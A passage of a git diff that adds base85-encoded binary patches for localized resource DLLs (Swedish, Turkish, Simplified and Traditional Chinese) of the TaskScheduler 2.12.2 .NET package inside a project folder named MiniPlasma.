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 literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/sv/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/sv/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000000000000000000000000000000000000..62d3f51c4e69e9206e5f77b72bd0e4c8f49251ec GIT binary patch literal 9728 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 literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/tr/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/tr/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000000000000000000000000000000000000..f212826a75a931dcea022a937c5f39196df4692c GIT binary patch literal 10240 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 literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000000000000000000000000000000000000..ee17ffdc544c0e4aeda6653e3237cc68e4fffb84 GIT binary patch literal 9728 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 J*{FEne*mMRp;Q0> literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/zh-Hant/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/zh-Hant/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000000000000000000000000000000000000..08553059273fe705fc856d7ba5c7e35d06eb396a GIT binary patch literal 9728 zcmeHMd3aP+mOqb85C~up0|b1K;HVwSq!JbKflU?+G+Q8Hu?K{r@{*L+5?@sT0fPk+ z1(IebkdP5k5Q4~}vL&q2jY=y$Op9$hxO|XGr9K!CX`Jb%mHD0f>ZO*1o8}sWG)S8Iepx(SmbO3iQ!^HLW7Z1o$57tJ}`yD>*cR(8bX}{b; zi&HLA9R;e%CYw!myTc{VRAkj{mo0WVb6k#WbL1(8&Yka#4~WhlPBdC-O{*TW73#Bn zORf5KlsXdi!pOba=ud-imr;kI5_J{rR+`>C!1{~g!4=~VUMAQztdybrAG`;;JcP0v zaz}Av7*R|+ZbXzBM4cjr?y4&jwGRQdM}I^}-{4Z_xX^FY6Bp2gt%O*JLTNR{a=XQ_|1IFPuCK^f8}3)`XcdW z#WByjf8Bcd<$?!C!9B4`Rn%1Ra^I7RM&qv^;(xV zYHLbY*GxRKHRqgi;_P3J?mPOxp^l$>#{K9wKl}MFmNm{heWUw;MH!dRyt(a>^bxx& z4*VIqo<4Quhy+DfqFQr`oi4>@n4mZvZq=+fn_3eTQ=XzG$Tp|hp;|376XZ#X>a;lQ zLsJZi{FfkSxUDX?stmO&ZkKAZCdk?DnO2K=lv14QcwVs&o%!UGrpL{XKan&zIYmhv zG&rvLWNy35VpH_la}*cHB`e^??6ge&zrW(i=J%I< zYdT8(*8ly(Gn=n>`|mB?PcGe_>KO6Pnw<5!-}}*gaNUEyJF@hxfBRtRD>pwFeXiuU zZ+!XG$!OVl`uMTr(_Obbe!BAGEuU?xS$Q^f<)yQ8%j3^?h%@`AO}g~ms0U76>p6S; z_4(h4(_PQ$FdJo8yn$I(?#H$MtoOStgrOdfqrXWa*sfr*a;BE$y2#QR#1Q%FH;n z_UzMFUOAby{r6{n)puIIQMns^qdfNL$ua8nsn!!;PTSD&xo6*NKd`V<&ld}07c~^_ z8}ONJ-9x70zrB26p8u=QN_ONp=a=Ge+Kl=FHh4VN{z%l7s4u~V@i-g4LHjwZ*J#jB zqF)F9=7NSJMeLdN=nuvCPKs4;J@fv^#I8N@&VgfS&%z?= z!|_7-5%^5B8-YEKxelVPK%D~oK+yk)dKUOmz(qm+A0gvS+-pETh5HD`qn!u-dw|;q zJzjvkG|>JB{fWR&!~Gn_UV)5j7(W4Qe~cYK?T)can4=QyhoPGf_0!I1r;(XlWFZIH zVR$hWkwO{h*|4Qe7|SCoMpUpuSWDpHGzS1PxgkcOZh$@15-bNqmNp!cO_YhpCXfmZ?3M*xTyBIP?gU};5cPI~s8zfdv zQ%Iw{ZZ`;h zM+i?BiivpABEe+>AJ20TkY1xPkrM;W$%jCW83QAq2^cvBTy{VU!Elttk3lr77_dMv zhc9$~Cw&Nr90>`x%t>DZ)ISFzn@1v4+6}-S&V}|)dLGVZPnZIeXA57kBUud-6d^3W z{yJE575h3Fc(XbgfIQj6kHKq5R84$+RRB(eaA?G!4D*K~o{ zA+E5vCecQKv7I8pe1dcE^#yPUu!K9qg7N$e41>ZM_z>cwSbI+JDQrj2AsnRj>_G67 zh&qeDUuC?8-E z2aFC29#c1N4GQk>*7yZ;3!U_>76r&HCJS!3o&ZJcC0(QNJrxh&qv4@!8K`Z(1i%d~ z!*8_(Q^1niGD~={g3r1PJW=^)75}2i1^X>LqK8re0Mh zAr0&XFybuGNi0YIQJ{}GsTvI3CpZ0^3KBj7p$8M5#;VK5RxE6q$b`4gB;7@?Fs98ZFNHAlGG`i@mCy6?sh}f6!;kg(wR|21ycrj7WoAr@D=+`D*pL-j^q)uM)V zThQ>XDsQM<=&xAqJzDC2eQ`r&RYS!gZ|OcwgNDTw0abt(unV4rkevwGNsv8Ik`ly} 